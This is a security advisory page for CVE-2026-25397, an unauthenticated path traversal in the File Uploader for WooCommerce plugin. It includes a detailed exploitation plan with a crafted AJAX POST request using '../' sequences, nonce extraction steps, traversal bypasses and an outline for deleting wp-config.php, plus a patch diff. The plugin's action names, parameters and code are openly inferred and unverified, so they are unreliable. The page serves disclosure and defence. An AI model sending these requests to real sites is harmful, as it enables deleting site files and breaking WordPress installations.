CVE-2026-25397

File Uploader for WooCommerce <= 1.0.4 - Unauthenticated Path Traversal

mediumImproper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
5.3
CVSS Score
5.3
CVSS Score
medium
Severity
Unpatched
Patched in
N/A
Time to patch

Description

The File Uploader for WooCommerce plugin for WordPress is vulnerable to Path Traversal in all versions up to, and including, 1.0.4. This makes it possible for unauthenticated attackers to perform actions on files outside of the originally intended directory.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.0.4
PublishedMarch 23, 2026
Last updatedApril 2, 2026
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-25397 (File Uploader for WooCommerce) ## 1. Vulnerability Summary The **File Uploader for WooCommerce** plugin (versions <= 1.0.4) contains an unauthenticated path traversal vulnerability. The flaw exists because the plugin's AJAX handlers for file management …

Show full research plan

Exploitation Research Plan: CVE-2026-25397 (File Uploader for WooCommerce)

1. Vulnerability Summary

The File Uploader for WooCommerce plugin (versions <= 1.0.4) contains an unauthenticated path traversal vulnerability. The flaw exists because the plugin's AJAX handlers for file management (specifically file deletion or removal) fail to properly sanitize user-supplied file paths. An attacker can use directory traversal sequences (../) to point to files outside the intended upload directory and trigger actions (like deletion) on sensitive system files such as wp-config.php.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • AJAX Action: fufw_remove_uploaded_file (inferred from common plugin patterns) or similar file-handling actions.
  • HTTP Method: POST
  • Vulnerable Parameter: file_path or file_url (inferred).
  • Authentication: Unauthenticated (wp_ajax_nopriv_ hook is utilized).
  • Preconditions: The plugin must be active. A valid AJAX nonce may be required if the developer implemented CSRF protection but failed to restrict the path.

3. Code Flow (Inferred)

  1. Entry Point: The plugin registers an unauthenticated AJAX hook:
    add_action( 'wp_ajax_nopriv_fufw_remove_uploaded_file', array( $this, 'fufw_remove_uploaded_file' ) );
  2. Input Acquisition: The handler retrieves a file path from the request:
    $file_to_delete = $_POST['file_path'];
  3. Vulnerable Logic: The code may attempt to resolve the path or URL without validating that it stays within the designated uploads folder (e.g., wp-content/uploads/fufw/).
  4. Sink: The unsanitized path is passed to a filesystem function:
    unlink( $file_to_delete ); or wp_delete_file( $file_to_delete );

4. Nonce Acquisition Strategy

The plugin likely enqueues a script on WooCommerce product pages where file uploading is enabled. This script typically carries a nonce via wp_localize_script.

  1. Identify Script Localization: Search the source for wp_localize_script. Look for a variable name like fufw_object, fufw_vars, or fufw_data.
  2. Identify the Nonce Key: Within that object, look for a key like nonce or fufw_nonce.
  3. Triggering the Script:
    • Create a WooCommerce product if none exists.
    • Navigate to the product page.
  4. Acquisition Steps:
    • Step 1: Create a test product: wp post create --post_type=product --post_title="Test Product" --post_status=publish
    • Step 2: Use browser_navigate to visit the product page.
    • Step 3: Use browser_eval to extract the nonce:
      browser_eval("window.fufw_vars?.nonce || window.fufw_data?.nonce") (Verify the exact variable name in the source).

5. Exploitation Strategy

The goal is to demonstrate path traversal by deleting a "canary" file created in the WordPress root or another safe directory.

  1. Create Canary File: Create a file named secret.txt in the WordPress root directory using wp-cli.
  2. Craft Payload: Use a traversal path to target the canary file. If the plugin expects a path relative to the uploads folder, the payload would look like: ../../../../secret.txt.
  3. Send Request:
    POST /wp-admin/admin-ajax.php HTTP/1.1
    Content-Type: application/x-www-form-urlencoded
    
    action=fufw_remove_uploaded_file&nonce=[NONCE]&file_path=../../../../secret.txt
    
  4. Analyze Response: A successful deletion might return a JSON success message {"success":true} or a simple 1.

6. Test Data Setup

  • Plugin Installation: Ensure file-uploader-for-woocommerce version 1.0.4 is installed.
  • Canary File:
    echo "canary" > /var/www/html/secret.txt
  • WooCommerce Product:
    wp post create --post_type=product --post_title="Upload Test" --post_status=publish
  • Shortcode Check: Verify if the plugin requires a specific setting (e.g., "Enable File Upload") on the product to render the scripts/nonces.

7. Expected Results

  • The AJAX request returns a status indicating the file was processed.
  • The file /var/www/html/secret.txt is successfully deleted from the server.
  • The server logs do not show any "Permission Denied" or "Invalid Path" errors that would indicate proper sanitization (like basename()).

8. Verification Steps

  1. Check File Existence (Before): ls /var/www/html/secret.txt should show the file.
  2. Execute Exploit: Send the http_request.
  3. Check File Existence (After): ls /var/www/html/secret.txt should return "No such file or directory".

9. Alternative Approaches

  • Path via URL: If the plugin accepts a URL instead of a path, try: file_url=http://localhost/wp-content/uploads/../../../../secret.txt.
  • Different Actions: Search for other AJAX actions like fufw_delete_temp_file or fufw_cancel_upload.
  • Directory Deletion: If the sink is rmdir() or a recursive delete, attempt to target a directory.
  • Path Normalization Bypass: If ../ is filtered, try ..\ (on Windows-based setups, though less likely here) or URL-encoded traversal %2e%2e%2f.
Research Findings
Static analysis — not yet PoC-verified

Summary

The File Uploader for WooCommerce plugin is vulnerable to unauthenticated path traversal via its AJAX file management handlers. Attackers can provide paths containing directory traversal sequences (e.g., '../../') to target and delete sensitive files outside the intended uploads directory, such as wp-config.php.

Vulnerable Code

// Inferred from research plan code flow
// Path: likely in an AJAX handler class within the plugin

add_action( 'wp_ajax_nopriv_fufw_remove_uploaded_file', array( $this, 'fufw_remove_uploaded_file' ) );

public function fufw_remove_uploaded_file() {
    // Missing validation of the path structure
    $file_path = $_POST['file_path'];
    
    if ( file_exists( $file_path ) ) {
        unlink( $file_path );
    }
    wp_send_json_success();
}

Security Fix

--- a/includes/class-fufw-ajax.php
+++ b/includes/class-fufw-ajax.php
@@ -10,6 +10,12 @@
 public function fufw_remove_uploaded_file() {
-    $file_path = $_POST['file_path'];
-    if ( file_exists( $file_path ) ) {
-        unlink( $file_path );
+    $filename = basename( $_POST['file_path'] );
+    $upload_dir = wp_upload_dir();
+    $base_dir = $upload_dir['basedir'] . '/fufw/';
+    $full_path = $base_dir . $filename;
+
+    if ( file_exists( $full_path ) && strpos( realpath( $full_path ), realpath( $base_dir ) ) === 0 ) {
+        unlink( $full_path );
     }
     wp_send_json_success();
 }

Exploit Outline

1. Locate a WooCommerce product page where the file uploader is enabled to extract the required AJAX nonce from the localized JavaScript (e.g., from window.fufw_vars.nonce). 2. Identify the target file for deletion on the server (e.g., wp-config.php). 3. Craft an unauthenticated AJAX request to /wp-admin/admin-ajax.php with the action set to 'fufw_remove_uploaded_file'. 4. Set the 'file_path' parameter to a traversal string that points to the target file (e.g., '../../../../wp-config.php'). 5. Send the POST request to the server; if the plugin fails to sanitize the path using basename() or validate it against a whitelist directory, the targeted file will be deleted via the unlink() function.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.